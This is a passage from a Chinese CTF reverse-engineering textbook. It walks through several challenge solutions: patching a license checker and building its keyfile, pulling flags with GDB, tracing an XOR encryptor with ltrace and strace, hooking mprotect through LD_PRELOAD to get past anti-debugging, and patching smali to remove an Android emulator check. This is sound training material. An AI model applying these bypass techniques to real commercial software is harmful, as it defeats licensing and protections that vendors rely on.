 再次执行file命令，提示“POSIX tar archive (GNU)”。显然，这是一个tar包，可以使用“tar xvf 文件名”命令进行解包。如图2-20所示，解包后会得到一个名为“license”的文件。对此文件使用file命令，结果为“ELF 64-bit LSB executable ...”，表示这是一个ELF文件。
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  图2-20
 
 
 
 这就是我们需要逆向的文件。该文件是64位的，所以，需要使用64位的Linux操作系统来运行它。
 
 运行后，提示需要一个密钥文件，这与题目内容贴合。接下来，使用IDA查看程序的处理过程（需要使用64位的IDA将程序载入）。
 
 找到程序的main()函数，查看用于读取文件的代码，具体如下。
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 从以上代码中可以看出，程序需要读取一个名为“_a\nb\tc_”的密钥文件，但是，我们无法创建一个有相同文件名的文件，所以需要绕过此处。此文件名在程序中是以字符串常量的形式存在的，长度为7位。在这里，向不了解ASCII码的读者解释一下长度是7位的原因。因为文件名中的 \n和 \t是ASCII的控制字符，其表现形式是正斜杠加一个字母，而它们其实是长度为1位的ASCII字符，在磁盘中的存储值分别为“0A”和“09”，所以，这个文件名在磁盘上的存储值为0x5F610A6209635F。由此可知，绕过此处的方法就是将此文件名换成长度相同但能够构造的文件名。在本题中，需要将其更换为密钥文件，所以对应的十六进制值为0x6B657966696C65。
 
 修改字符串的方法有很多。在Windows操作系统中，我们可以在二进制编辑工具中搜索“5F610A6209635F”，然后将其替换为“6B657966696C65”。另一种方法是在Linux操作系统中执行“hexdump -ve '1/1 "%.2X"' license | sed 's/5F610A6209635F/6B657966696C65/g'| xxd -r -p > license_patch”命令，进行搜索替换和保存新文件的操作（在这个命令中，一共使用了3个Linux自带的工具，工具的具体使用方法可以在Linux中执行man命令查看）。
 
 创建一个名为“keyfile”的文件，然后执行经过Patch操作的文件，得到如图2-21所示的错误信息。
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  图2-21
 
 
 
 查看反汇编代码的后续逻辑。
 
 
  [image: ]
 
 
 从以上代码的if判断中可以知道，文件长度需要满足等式“44242_X^5 - 45235_X^4-1256_X^3 + 14392_X^2 - 59762*X - 1949670109068 = 0”。
 
 可以使用如下方法得到X的值。
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 X的值为34，也就是说，文件的长度为34字节。不过，只有这个信息显然不够。继续阅读代码，如图2-22所示。
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  图2-22
 
 
 
 其中，当 *v11等于“10”时，v12加1。因为这里的“10”是字符型的，所以它就是前面提到过的换行符\n。每次遇到换行符，v12加1，可以认为v12的作用是记录文件中一共有多少行。记录行数后，v12会和数值5进行比较。因此，此密钥文件中需要有5行内容。
 
 在“v15 = (v6 - (v12 - 1))/ v12;”中，v6是需要文件满足的字节数34，v12是刚刚算出来的5，那么此等式中的v15就是6，即密钥文件每行内容的字节数。
 
 接下来，比较文件的内容。
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 密钥文件中的每一行，经过后面的异或处理，都会与硬编码在代码中的字符串进行比较。如果其中任何一个字符串不同，则会跳转到注册失败的代码处。
 
 通过分析可知，文件中的每一行都要满足以下等式。
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 使用Python编写一个简单的脚本。首先，利用第1行和第4行计算line3的值。
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 然后，使用同样的方法将上面的等式全部解出，结果如下。
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 文件内容已经有了，下面就要将内容写入文件了。由于我们得到的是文件内容的十六进制值，所以会遇到一个问题：在正常写文件时，可以将十六进制值转换为ASCII码的形式，然后利用文本编辑模式将ASCII码写入文件，而这些十六进制值中有很多是不可见字符，无法写入。这个问题的解决方法就是利用二进制编辑工具直接将十六进制值写入（在Windows操作系统中，推荐使用WinHex；在Linux操作系统中，推荐使用echo和xxd）。
 
 以Linux操作系统为例，因为题目要求文件要有5行内容，所以，需要在前4行数据后添加一个换行符“0A”，这样，每行的长度为：6字节×5行+4个换行符=34字节。完成拼接后，执行“echo 746C394755410A1D276E280F0D0A2F153A151D330A6867794778570A34 390634282E |xxd -r -p > keyfile”命令，即可得到最终的keyfile文件。
 
 再次调用license_patch文件，结果如图2-23所示。
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  图2-23
 
 
 
 题目2　从寄存器中取得flag
 
 题目概况
 
 本题的可执行文件会在选手输入的密码与程序产生的字符串（即flag）一致时输出计算得到的flag（题目来自9447 CTF）。
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 解题思路
 
 题目给出的文件没有后缀。在Linux操作系统中使用file命令查看文件，发现此文件是一个64位的ELF文件，如图2-24所示。
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  图2-24
 
 
 
 文件中的字符串提示我们，可以使用反汇编工具查找此字符串。但是，对Linux可执行程序，应该使用哪种反编译工具呢？推荐使用radare2和IDA。radare2是一款用于创建完整的、便携的和多架构的逆向工程的平台，但其与IDA相比仍有差距，所以，在解答本题时还是使用IDA来查看文件的main()函数，具体如下。
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 算法并不复杂，memcmp()函数会将我们的输入和程序自己产生的字符串进行比对，因此，可以使用C语言来实现程序产生字符串的过程，然后得到答案。不过，在解答本题时我们不使用这种方法，而使用动态调试Linux可执行程序的方法。
 
 下面介绍两种方法，一种是使用GDB进行调试，另一种是使用IDA进行调试。
 
 （1）使用GDB进行调试
 
 GDB是一个基于命令行的调试工具，发行版Linux通常自带此工具。如果读者使用的Linux中没有此工具，请自行安装。
 
 执行“gdb ./file”命令将程序载入，接下来就需要设置断点了。通过前面的分析可知，本题的flag在if分支中的memcmp()函数执行之前就产生了，所以，如果断点设置在此处，就一定可以在寄存器中找到需要的内容。因此，我们需要找到命令的地址。
 
 在IDA中获得相应指令的代码，在代码旁边的空白处单击右键，在弹出的快捷菜单中选择“Copy to assembly”选项，就可以跳转到这句代码的汇编地址。通过此方法可知，if分支中的memcmp()函数的地址为0x00400729。接下来，如图2-25所示，在GDB中执行“b *0x00400729”命令，设置断点。此时程序还没有开始运行，因此需要使用r命令让程序运行（但要注意，因为此程序需要我们传入一个参数，所以在这里使用r命令时也需要带一个参数）。
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  图2-25
 
 
 
 程序开始运行后，将在断点处中断。前面分析过，此时寄存器中一定有我们需要的内容。所以，执行“x /s $rax”命令，获取我们需要的内容，如图2-26所示。
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  图2-26
 
 
 
 不过，如果程序比较复杂，我们对需要的内容放在什么位置又不确定，那么使用此种方式就显得有些笨拙了。这里推荐一个GDB插件——peda，安装后可以大大提升GDB在分析、逆向、溢出时的用户体验。
 
 peda是Long Le在Black Hat 2012会议中放出的Python脚本工具。peda可以运行在UNIX/Linux中，辅助黑客编写EXP。
 
 peda的安装方法非常简单，只需要执行以下命令。
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 安装peda后，再次按照以上过程使用GDB，使程序在memcmp()函数处中断。此时，我们需要的内容就一目了然了，如图2-27所示。
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  图2-27
 
 
 
 peda不仅能够显示各寄存器的内容，还能够显示当前汇编指令的上下文，以及传入函数的参数。由于篇幅所限，在此就不展示了。
 
 （2）使用IDA进行调试
 
 IDA有Linux版本，我们可以在Linux中安装IDA后进行本机调试。为了展现IDA功能的强大，笔者使用Windows版本的IDA对虚拟机中的Linux操作系统进行动态调试。
 
 在进行远程调试时，需要在被调试的机器上启用一个服务程序。此服务程序位于IDA安装目录下的dbgsrv文件夹中，需要根据系统和系统的位数来选择服务程序。由于需要调试的程序所在的系统为64位Liunx，所以在此选择linux_serverx64。将此程序和需要调试的程序复制到Liunx中，运行liunx_serverx64，如图2-28所示。
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  图2-28
 
 
 
 接下来，在Windows中启动IDA并加载此程序。程序加载后，找到前文中提到过的memcpy()函数的位置，按“F2”键设置断点。然后，选择“Debugger”菜单中的“Select Debugger”选项，打开如图2-29所示的对话框，进行设置。
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  图2-29
 
 
 
 继续单击“Debugger”菜单中的“Process Options”选项，在弹出的对话框中填写真实的信息，如图2-30所示。
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  图2-30
 
 
 
 填写完毕，单击“OK”按钮，关闭对话框。然后，按“F9”键运行程序，此时程序就会在断点处中断。可以看出，变量dest中存放的就是flag，如图2-31所示。
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  图2-31
 
 
 
 相关知识点
 
 GDB是一个由GNU开源组织发布的、运行在UNIX/Linux中的、基于命令行的、功能强大的程序调试工具。基于Linux开发程序的人大都听说过GDB。尽管GDB提供的命令很多，但我们只需掌握其中10个左右，即可完成大部分的基本程序调试工作。
 
 • File：加载被调试的可执行程序文件。
 
 • R：“Run”的简写，用于运行被调试的程序。如果此前没有设置断点，则执行整个程序；如果已经设置断点，则程序暂停在第一个可用的断点处。
 
 • C：“Continue”的简写，用于继续执行被调试程序至下一个断点或程序结束处。
 
 • B：“Breakpoint”的简写，用于设置断点。可以使用行号、函数名称、执行地址等指定断点的位置。
 
 • D：“Delete Breakpoint”的简写，用于删除指定编号的断点，或者删除所有断点。断点编号从1递增。
 
 • S：执行一行程序代码，如果此行代码中有函数调用，则进入该函数，相当于其他调试器中的“Step Into”（单步跟踪进入）。
 
 • N：执行一行程序代码，此行代码中的函数调用也一并执行，相当于其他调试器中的“Step Over”（单步跟踪）。
 
 • X：“examine”命令的简写，用于查看内存地址。
 
 • Q：“Quit”的简写，用于退出GDB调试环境。
 
 题目3　追踪运行库和系统调用
 
 题目概况
 
 本题的可执行文件运行后会把flag文件加密，产生flag.enc，选手需要从这个加密文件中恢复flag文件（题目来自ASIS Cyber Security Contest）。
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 使用ltrace和strace这两个工具分析libc和系统调用，能够快速定位加密算法的位置，提高破解效率。
 
 解题思路
 
 由于题目提供的文件没有后缀，所以我们先利用工具查看其格式。将文件放到Linux虚拟机中，使用file工具查看，具体如下。
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 接下来，使用xz命令将文件解压。前面介绍过，在使用XZ的-dk参数时，需要为文件添加扩展名“xz”。下面介绍一个不需要添加扩展名的方法。
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 再看一下解压得到的文件是什么格式的。
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 还是一个压缩文件。继续解压，内容如下。
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 又经过一次解包，以及一次解压，终于得到了需要我们分析的文件simple，以及文件flag.enc——出题人还真是喜欢压缩啊！
 
 simple文件是一个64位的ELF文件。flag.enc文件里面全是乱码。笔者解压文件时使用的系统正好是64位的，直接运行simple文件，看一下效果。
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 提示分配内存错误并抛出了异常。此时的普遍做法是将程序放入IDA，查看代码，然后对出错的地方进行分析。但是，如果读者经常进行程序逆向工作，就会有这样的经验：如果待分析程序的代码量相对较大，那么定位存在问题的位置就比较难；如果在定位之前已经获得了一些线索，那么定位过程就会变得相对简单。所以，此时我们还是利用其他工具来找出问题点。
 
 笔者使用的工具是ltrace和strace。如果系统中没有这两个工具，请先执行“sudo apt get install ltrace strace”命令进行安装。
 
 使用ltrace查看此程序的系统调用。在这里要添加参数 -C，以便显示C++ 转义过的函数名称。
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 从以上结果中可以看出，程序需要打开一个文件，就是在此处报告了异常。接下来，使用strace监视系统调用，看看程序需要打开哪个文件。
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 现在我们明白了，程序需要打开一个名为“flag”的文件，然后做一些事情，于是就报错了。
 
 在解压得到的可执行程序目录下，还有一个flag.enc文件。为了消除这个文件对程序运行结果的影响，我们将其放到一个干净的目录中，并在此目录中手工创建一个内容为空的flag文件。再次运行程序，不仅没有报错，还生成了一个名为“flag.enc”的文件，且文件中没有内容。我们猜测，因为flag文件中没有内容，所以程序处理过的flag.enc文件中也没有内容。将一些字符写入flag文件，再次运行程序，flag.enc文件中出现了一些乱码字符。
 
 经过上述测试可知，解压得到的flag.enc文件就是经过加密的数据。要想得到加密前的flag文件，就要知道程序中的处理算法。
 
 思路已经理清，可以请出IDA了。将程序加载到IDA中并寻找加密算法的关键位置。程序处理数据的过程并不复杂，具体如下。
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 将以上过程总结一下，得到下面的处理代码。
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 有一点值得注意，那就是最后一个字节没有被异或，否则在利用counter+1对counter进行加密时就会产生溢出（从前面的反汇编代码中也能看出来）。所以，flag.enc文件的最后一个字节是没有加密的，我们可以使用如下形式对flag.enc进行解密。
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 解密过程使用如下Python脚本完成。
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 在flag.enc文件目录下运行此脚本，会生成解密后的flag.dec文件。再次查看解密后文件的类型，具体如下。
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 又是压缩，而且记录了压缩前文件的名称（看起来是一幅图片）。继续进行解压，具体如下。
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 这次解压，真的得到了一幅图片，图片中有一个二维码。使用二维码软件或在线工具提取二维码的内容，具体如下。
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 使用这种方法提取的通常是十六进制的数据。将所有提取的内容保存到result.txt文件中，然后利用xxd命令将这些十六进制数据写入一个文件。
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 又是一个压缩文件，其中的文件也叫“flag.png”。
 
 继续使用gunzip命令解压，得到的还是一个二维码图片，但数据明显少了很多。提取这个二维码中的数据，终于得到了结果：ASIS_e87b556efc59f8351aec0858da850906。
 
 相关知识点
 
 strace用于拦截和记录系统调用。对用户来说，strace可以显示系统调用，以及传递给它们的参数和返回值。strace可以附加到正在运行的进程中，或者启动一个新的进程。作为一个针对开发者和系统管理员的诊断和调试工具，strace是很有用的。此外，strace可以通过跟踪不同的程序调用来帮助用户了解系统。
 
 ltrace可以跟踪和记录进程的动态（运行时）库的调用及收到的信号，也可以跟踪一个进程的系统调用。
 
 题目4　反调试和反反调试
 
 题目概况
 
 本题的可执行文件进行了反调试处理，关键代码进行了加密（题目来自Nuit du Hack Quals CTF）。
 
 
  [image: ]
 
 
 为了拿到flag，选手需要对题目中的可执行文件所调用的libc函数进行劫持，直接转储（Dump）解密后的代码。
 
 解题思路
 
 本题的标题为“Clark Kent”。看过电影《超人》的读者都应该知道，这就是超人的名字，题目描述也与英雄和能力有关。不知道这道题到底想要我们做些什么呢？
 
 题目给出的文件名为“clark”且没有后缀名。我们先使用Linux的file工具查看文件内容，具体如下。
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 从file工具给出的结果可以得到两方面的信息：程序使用了动态库；文件的头部被做过手脚。既然文件的头部被修改过，不知道其是否能正常运行，就需要对其进行验证。运行文件，效果如下。
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 程序可以正常运行，但是需要“supercow power”。在这里要说明的是，笔者的Linux系统是使用自己的账户登录的，所以没有“supercow power”。
 
 其实我们很容易就能想到，Linux系统中的“supercow power”就是root。因此，使用sudo命令运行程序，将输出以下内容。
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 然后，系统会立即重启。在这里必须要强调一下：在日常操作中，不要随意运行来源不明的可执行程序，特别是在使用root及其他高权限用户身份的情况下。
 
 运行了两次也没得到重要的信息，于是，我们改用IDA来反汇编此程序。前面说过，这个ELF文件的头部被修改过，所以在使用IDA载入时会显示警告信息。暂时忽略这些警告信息，进入IDA主界面。虽然ELF文件的头部被破坏了，但IDA仍然能对程序的代码进行反汇编。main()函数的反汇编内容如下。
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 从以上代码中，可以分析得出以下几点。
 
 • 使用ptrace()函数检测程序是否已被调试。如果检测到已被调试，程序就会退出。
 
 • 程序会使用sub_80486BA()函数来检测一段内存的代码区中代码的校验和，其作用是检测是否通过调试器给程序添加了断点，或者程序是否进行过Patch操作。
 
 • 将得到的校验和传入sub_80485E8()函数，然后利用此函数解密指定区域的代码。
 
 • 对解密得到的代码进行校验和检测。如果得到的校验和不等于0x5780C882，就退出程序。
 
 • 如果以上检测全都通过，就使用Linux中的mprotect()函数，为解密得到的代码添加正确的权限，然后执行这段代码。
 
 通过一系列分析能够能到一个结论：我们需要的结果就在动态解密和执行的代码中。
 
 现在思路很清晰了：由于使用IDA等软件进行静态分析，很难得到解密后执行的代码的反汇编代码，所以，需要先使用动态调试方法获取此段代码，再进行分析。这个过程可以通过两种方法实现。
 
 • 第一种方法是对这个可执行程序进行Patch操作。修改ptrace()函数的返回值，使其不等于-1；调用校验和算法，得到最终的校验和，将其硬编码到代码中，使判断成立；调试程序，当解密算法调用完成后，对解密得到的代码进行Dump操作，然后进行分析。这种方法虽然可行，但过于烦琐。
 
 • 第二种方法是使用LD_PRELOAD系统变量，在ELF文件调用其他动态库之前指定一个我们想让它调用的动态库来实现劫持，允许对此执行文件中的一些系统函数进行劫持（Hook），从而通过改变其行为来达到我们的目的。
 
 问题来了：我们需要对哪个函数进行Hook呢？这要看进行Hook的目的——当然是得到解密的代码。因此，在执行解密的代码之后执行前面为此段代码添加权限的mprotect()函数是最好的选择。此函数中的参数为Dump操作提供了所有信息。
 
 ELF文件调用动态库的代码如下。
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 以上代码就是修改后的mprotect()函数。因为进行的是Hook操作，所以在执行我们需要的功能后，还要将执行流程进行下去。因此，先保存mprotect()函数的地址，在通过对此函数进行Dump操作，得到需要的内容后，再将所有权还给程序。
 
 此函数共有3个参数，第1个是代码段的内存地址，第2个是长度，第3个是权限。因为这3个参数中的后两个在IDA中都能解析出来（是函数中的两个固定值），所以，我们先对这两个参数进行判断，如果判断条件成立，就将此代码段保存为当前目录下的Dump文件。具体操作过程如下。
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 此时，需要的代码段就已经保存为Dump文件了。接下来，用radare2查看这个文件，如图2-32所示。
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  图2-32
 
 
 
 在汇编代码中有很多int 0x80中断，此中断在Linux中表示由用户态切换为内核态。每个int 0x80中断后面都有一个syscall，这就是Linux中所有系统调用的入口点。可是，只进入内核态又有什么用呢？
 
 如图2-32所示，每个int 0x80中断前面的汇编指令都是“mov eax”，这句汇编指令的作用是为系统调用传递系统调用号。例如，在“mov eax,0x18”指令中0x18==24==getuid，如果此调用返回0（root），则跳转到“mov eax,0x58”指令，此时有0x58==88==reboot（这就是使用普通用户身份和root用户身份分别执行程序时效果不同的原因）。
 
 因为通过Dump操作得到的文件只是一段解密的代码，没有其他信息，所以，任何静态分析软件都无法很好地进行反汇编（只能帮助我们从汇编代码中找到一些信息，无法帮助我们得到最终的答案）。
 
 在进行进一步操作前，使用Linux中的strings工具查看文件中的字符串，以便获取一些信息。strings工具的功能是打印文件中的可打印字符，具体如下。
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 非常幸运，我们需要的flag以明文字符串的形式存储在Dump文件中。本题的flag为“WhyN0P4tch?”。
 
 相关知识点
 
 （1）ptrace()函数为什么可以用于反调试
 
 在Linux中，调试器都是使用系统函数ptrace()进行调试的。而在同一时间，进程最多只能被一个调试器调试。因此，可以通过调试进程自身来判断是否已经有其他进程（调试器）存在。
 
 使用ptrace()函数调试其自身，示例代码如下。
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 在这里，使用PTRACE_TRACEME指明进程将被调试。在这种情况下，其他参数会被忽略。如果程序中已经存在调试器，这次对ptrace()函数的调用就会失败，返回值为-1。由此即可实现对调试器的检测（笔者在解答本题时也使用了这种方法）。
 
 （2）LD_PRELOAD环境变量
 
 在UNIX/Linux的动态链接库中，LD_PRELOAD环境变量就是用来预先装载一些共享库或目标文件的。而且，无论程序是否依赖这些共享库或文件，LD_PRELOAD指定的共享库或文件都会被装载，且在查找和执行时，其优先级比进程的共享库高。
 
 这个功能主要用于有选择地载入Linux的不同动态链接库中的相同的函数。通过这个环境变量，可以在主程序及其动态链接库的中间加载其他动态链接库，甚至覆盖正常的函数库。此过程如图2-33所示。
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  图2-33
 
 
 
 程序原来使用的函数主要完成两方面的工作：在调用此函数时想要完成的工作；使用传递进来的参数不加改动地调用原来的动态链接库中的函数。
 
 
 2.3　Android可执行程序
 
 本节主要分析Android平台逆向工程方面的题目，涉及APK解包、脱壳、Java反编译分析、libc函数Hook、其他C运行库分析等。
 
 题目1　反模拟器探测和APK反编译
 
 题目概况
 
 本题来自CUIT。题目的APK进行了简单的反模拟器设计，flag是用户syclover的注册码。选手在解题时，需要通过反编译得到Java代码并分析其产生注册码的算法，最后复现注册码。
 
 解题思路
 
 在正常情况下，我们拿到题目后，一般会运行文件并查看效果，至少要知道题目的意图是什么。由于本题给出了一个APK，所以首先肯定要在Android中运行这个文件。这就有两种方式：一是在计算机中安装Android模拟器；二是找一部Android手机。但是，第二种方式对某些使用iOS系统的选手来说不是很方便——难道每次做Android题目都要去找一部Android真机？所以，还是在计算机中安装Android模拟器比较方便、经济。Android虚拟机的种类非常多，笔者推荐使用Android SDK自带的模拟器（读者可以自行搜索，这里不再赘述）。
 
 首先，在计算机中启动一个Android模拟器。笔者在解答本题时使用的模拟器的配置为Android 5.1，CPU架构为ARM。然后，利用adb工具（Android SDK中的一个工具，可以直接管理Android模拟器或真实的Android手机），切换到题目文件所在目录，执行“adb install Crackme001.apk”命令进行安装。尽管模拟器可以正常安装，但单击图标进入时发生了闪退——难道adb在Android模拟器中不能运行？恰好笔者使用的就是Android手机，所以在真机上运行了一下，是可以正常显示的，猜测APK中有针对模拟器的检测代码。
 
 才想到使用模拟器来解题，就出现了状况，哪还有解题的心情？必须把原因找出来！因为Android程序是由Java层和Native层两部分组成的，Java层是使用Java语言开发的，而Java程序是可以被反编译的，所以，可以使用常见的Java反编译工具对APK进行处理。
 
 其实，Android逆向的每一步都有可用的经典工具（将在本题的“相关知识点”部分介绍）。在这里推荐一个由国人编写的工具AndroidKiller。这是一个集成工具，可用于进行APK修改等操作，是Android逆向利器。将本题的APK放入AndroidKiller，使用其反编译功能，此时，在“工程信息”标签页中会显示APK的一些基本信息，如图2-34所示。
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  图2-34
 
 
 
 Android的基本知识需要读者通过相关资料来学习，这里不再赘述。根据工程信息，题目给出的APK中只有一个Activity。双击此Activity，在AndroidKiller的右侧窗口中会显示Smali文件的Dalvik字节码。这些字节码看起来有点像汇编代码和Python的字节码，没有接触过这些内容的读者，在阅读时可能会遇到困难。在Smali文件窗口单击右键，在弹出的快捷菜单中选择“查看”→“查看源码”选项，打开如图2-35所示的界面。
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  图2-35
 
 
 
 此时，会弹出一个新的窗口，显示反编译后的Java代码。除了显示Activity的代码，在这个窗口中还会显示APK中的其他Java代码。在这道题目中有一个叫作DES的类，这个类我们现在用不到，等用到时再进行分析。
 
 我们知道，Activity是Android程序界面的入口点，而在执行Activity后，会先执行其中的onCreate()函数。所以，先看看这个函数的代码，具体如下。
 
 
  [image: ]
 
 
 onCreate()函数调用了hasQEmuFiles()函数，如果返回值为真，程序就会退出。这应该就是模拟器退出程序的原因了。再看看这个函数都做了什么。
 
 
  [image: ]
 
 
 
  [image: ]
 
 
 根据代码可知，这个函数的作用就是判断运行环境中是否存在known_file变量中存储的3个文件。这3个文件是什么，笔者也不清楚，所以搜索了一下。原来，这3个文件都是模拟器特有的。例如，可执行文件system/bin/qemu-props用于在模拟器中设置系统属性。
 
 既然知道了问题所在，就要想办法解决问题。在对Java代码进行反汇编的窗口中，不允许修改Java代码，但可以修改存储了Dalvik字节码的Smali文件。找到onCreate()函数调用hasQEmuFiles()函数的位置，如图2-36所示。
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  图2-36
 
 
 
 图2-36中用方框标出的部分用于判断hasQEmuFiles()函数的返回值。if-eqz表示，如果其值为0（也就是hasQEmuFiles()函数的返回值为0），那么当前系统中就不存在这3个文件，也就不会执行killProcess()函数退出程序——这不就是爆破吗？所以，我们将if-eqz改为其相反指令if-nez并保存，然后使用AndroidKiller的编译功能（该功能会自动完成APK编译等一系列过程，还会对APK进行签名）。操作完成后，将新生成的APK安装到模拟器中（其实AndroidKiller也提供了安装和卸载功能），如图2-37所示。
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  图2-37
 
 
 
 安装顺利完成，程序界面如图2-38所示。
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  图2-38
 
 
 
 从题目的说明中可知，我们需要得到用户syclover的注册码。为了能方便地定位代码的位置，我们先在两个输入框中随便输入一些数据，并查看提示信息。输入后单击“注册”按钮，没有任何提示信息，所以，我们只能逐步分析代码——好在程序的代码量不大。
 
 因为程序需要用户单击“注册”按钮来验证输入，所以验证的逻辑代码应该在按钮的响应事件中。到Activity中寻找按钮的响应事件代码，具体如下。
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 代码虽然有些长，但逻辑比较清楚。简单地说，就是将用户名作为DES.encode()的参数，算出密文，取密文的前6位和注册码进行比较，如果相同就显示注册成功，如果不同就返回。这也解释了为什么之前随便输入内容后程序没有给出任何提示。由于我们需要的flag就是密文的前6位，所以，可以采取以下两种方法得到答案。
 
 第一种方法是，因为已经知道程序的逻辑且拥有所有需要的代码，所以，可以新建一个Java工程，然后按程序的逻辑将我们需要的内容输出。尽管通过反编译得到的代码和原始代码非常接近，但还是有一些差异，需要我们手动修改。修改后的代码如下。
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 程序运行后，会在main()函数中输出我们需要的密文的前6位，即“uyvno4”。将用户名和注册码输入程序，会弹出注册成功的提示。
 
 第二种方法是，由于按钮单击事件已经调用了加密函数，也取出了密文的前6位，就等着和用户输入的注册码进行比较了，所以，可以在程序调用加密函数并取出密文的前6位但还没有和用户输入的内容进行比较时将程序得到的内容输出，关键代码是“if (paramView.getText().toString().equals(((String)localObject).toLowerCase(Locale.getDefault())))”。程序调用toLowerCase并将其转换为String类型后，在Activity的Smali文件中很容易定位这个位置，如图2-39所示。
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  图2-39
 
 
 
 由于变量v4就是我们需要的内容，所以，需要在如图2-39所示的用两个箭头标出的代码行中间添加输出代码。AndroidKiller提供了Log和Toast这两个输出函数的Dalvik字节码，在图2-39中用两个箭头标出的代码行的中间位置单击右键，在弹出的快捷菜单中选择“插入代码”选项，然后选择“Toast”选项，即可插入一段Dalvik字节码。
 
 
  [image: ]
 
 
 这段代码默认输出“you message”，但我们需要的是变量v4的内容，因此，应去掉“const-string v0, "you message"”，并把“invoke-static {p0, v0, v1}”中的“v0”改为“v4”。修改后的代码，如图2-40所示。
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  图2-40
 
 
 
 将文件保存，然后编译、安装。输入用户名“syclover”，注册码留空。运行结果，如图2-41所示。
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  图2-41
 
 
 
 相关知识点
 
 APK是“Android Application Package”的缩写，即Android应用程序包。实际上，APK就是一个ZIP压缩包，用解压工具将其打开就能看到文件结构。APK的组成如下。
 
 • asset文件夹：资源目录。
 
 • lib文件夹：so库的存放位置，一般由NDK编译得到。
 
 • META-INF文件夹：存储与签名有关的信息。
 
 • res文件夹：资源目录。
 
 • AndroidManifest.xml：Android工程的基础配置属性文件。
 
 • classes.dex：通过Java代码编译得到的Dalvik虚拟机能直接执行的文件。
 
 • resources.arsc：res目录下的资源的索引文件，保存了原始工程中strings.xml等文件的内容。
 
 APK中有两个资源文件夹，即asset和res。res文件夹中的资源文件在编译时会自动生成索引文件（R.java），在Java代码中用R.xxx.yyy来引用；asset文件夹中的资源文件不需要生成索引，在Java代码中用AssetManager来访问。
 
 关于Android应用的分析，如果在Dalvik层，那么我们只需要关心classes.dex的逆向分析。classes.dex是APK运行时代码，是由Java源代码编译成的可以在Dalvik虚拟机上运行的代码。由于Dalvik虚拟机与Java虚拟机类似，所以，可以用类似Java的class文件的反编译方法，将classes.dex反编译为Java代码。对于未被保护的应用，可以使用此方法还原大部分代码。在此过程中涉及的文件如下，它们之间的关系如图2-42所示。
 
 • DEX文件：APK的可执行文件。
 
 • Smali文件：Dalvik虚拟机内部执行的代码。
 
 • jar文件和Java文件：根据DEX文件转换而来的Java代码文件。
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  图2-42
 
 
 
 解答本题时使用了集成工具AndroidKiller。前面介绍过，APK逆向的每一步都有经典的工具，举例如下。
 
 • smali/baksmali：DEX可执行文件与Smali字节码文件互相转换的工具，转换过程中不会丢失信息。
 
 • dex2jar：将DEX文件转换成jar文件的工具。因为Dalvik虚拟机和Java虚拟机之间存在差异，所以转换无法一一对应，会出现信息丢失、代码错误等问题。
 
 • jd/jd-gui：jar文件反编译工具。
 
 • Apktool：可反编译APK的资源文件，把classes.dex解析成Smali文件，以及逆向生成APK。
 
 • signapk.jar：对APK进行签名的工具。
 
 • AndroidKiller：Windows平台上的一个集成了上述工具的、有GUI界面的工具。类似的工具还有APK改之理（APK IDE）。
 
 题目2　C运行库文件的逆向分析
 
 题目概况
 
 本题是一个小游戏，题目标题为“boomshakalaka”（来自0CTF），题目说明是“play the game, get the highest score”（试玩这个游戏，并拿到最高分）。也就是说，只要获得最高分，就可以拿到flag。
 
 题目的核心部分位于C运行库（so文件）中，仅分析Java层是无法获取flag的。
 
 解题思路
 
 拿到一个APK，首先要了解它的功能。刚好笔者的计算机上安装了Android开发环境Android Studio（AS），其中有几个虚拟机（在AS中创建虚拟机时，会建议用户在x86架构的宿主机中创建使用x86镜像的Android虚拟机）。
 
 ABI（Application Binary Interface，应用程序二进制接口）是一个应用编译指令集。ABI一共有4种，分别是armeabi、armeabi-v7a、MIPS、x86，都用于表示CPU的类型。
 
 我们可以启动一个API版本为22、CPU类型为x86的虚拟机，执行命令“adb install plane.apk”，将题目所给的APK安装到虚拟机中。但是，执行此命令后，会提示“Failure[INSTALL_FAILED_NO_MATCHING_ABIS]”。通过上网搜索了解到，这个问题是某些应用使用了原生库（NDK，Native Lib）导致的：因为这些库的编译目标通常是ARM架构的CPU，所以在x86架构的Android上运行就会报告这样的错误。换一个使用ARM架构的虚拟机，就可以安装和运行了。
 
 运行程序，发现这是一个简单的飞机射击类游戏，如图2-43所示。游戏的玩法就是通过控制飞机射击敌方飞机得分。尽管题目的要求是得到最高分，但我们在解题时是不可能通过玩游戏的方式得到最高分的。
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  图2-43
 
 
 
 下面开始反编译APK。我们使用AndroidKiller进行反编译。工程信息已经告诉我们，此APK的Activity是FirstTest。在FirstTest.smali中单击右键，在弹出的快捷菜单中单击“查看”→“查看代码”命令，程序就会调用JD-GUI，将Smali代码转换为Java代码，具体如下。
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 查看onCreate()函数的内容，发现其中的功能不多，主要是使用a类和启动Cocos2d。Cocos2d是一个基于MIT许可协议的开源框架，用于构建游戏、应用程序和其他图形界面交互应用，可以帮助用户在创建自己的多平台游戏时节省时间。因为题目给出的APK是一个游戏，所以调用Cocos2d无可厚非。a类的代码如下。
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 a类的功能是进行SharedPreferences存储。结合主Activity的调用可知，程序创建了两个SharedPreferences文件。下面解释一下什么是SharedPreferences文件。在Android中，可以使用以下几种方式进行数据持久化。
 
 • Shared Preferences：共享参数，是Android内置的一种以Key-Value（键-值对）形式保存数据的方式。推荐使用此方式保存应用的配置信息。
 
 • Internal Storage：使用Android设备自带的内存存储数据。
 
 • External Storage：使用外部存储设备（通常是SD卡）存储数据。
 
 • SQLite Databases：使用SQLite数据库存储结构化的数据。
 
 • Network Connection：使用基于网络的服务获取数据。
 
 在创建或更改SharedPreferences文件时，可以通过Context.getSharedPreferences(String fileName,int mode)方法打开一个XML文件（文件的位置为 /data/data/package_name/shared_prefs/fileName.xml）。如果该文件不存在，则会自动创建。我们可以对该文件进行读写操作，在应用内的各组件之间共享数据。
 
 本题程序的a类就封装了几个用于操作SharedPreferences文件的函数。在onCreate()函数中，调用a类时传入了两个文件名（分别是flag.xml和CocosdxPrefsfile.xml），并写入了数据。我们先试玩一局，然后查看这两个文件，如图2-44所示。
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  图2-44
 
 
 
 看一下flag.xml和CocosdxPrefsfile.xml文件的内容。获取SharedPreferences文件的方法有以下两种。
 
 • 通过adb.exe获取。利用adb可以直接对Android模拟器或真实的Andriod设备进行操作和管理，当然也可以获取Android手机中的文件。adb包含在SDK中，我们可以在计算机中放置SDK的platform-tools文件夹下找到它，并将此路径添加到系统路径中。这样，我们就可以在任意目录中使用此工具了。下面介绍如何获取本题中的XML文件的内容。
 
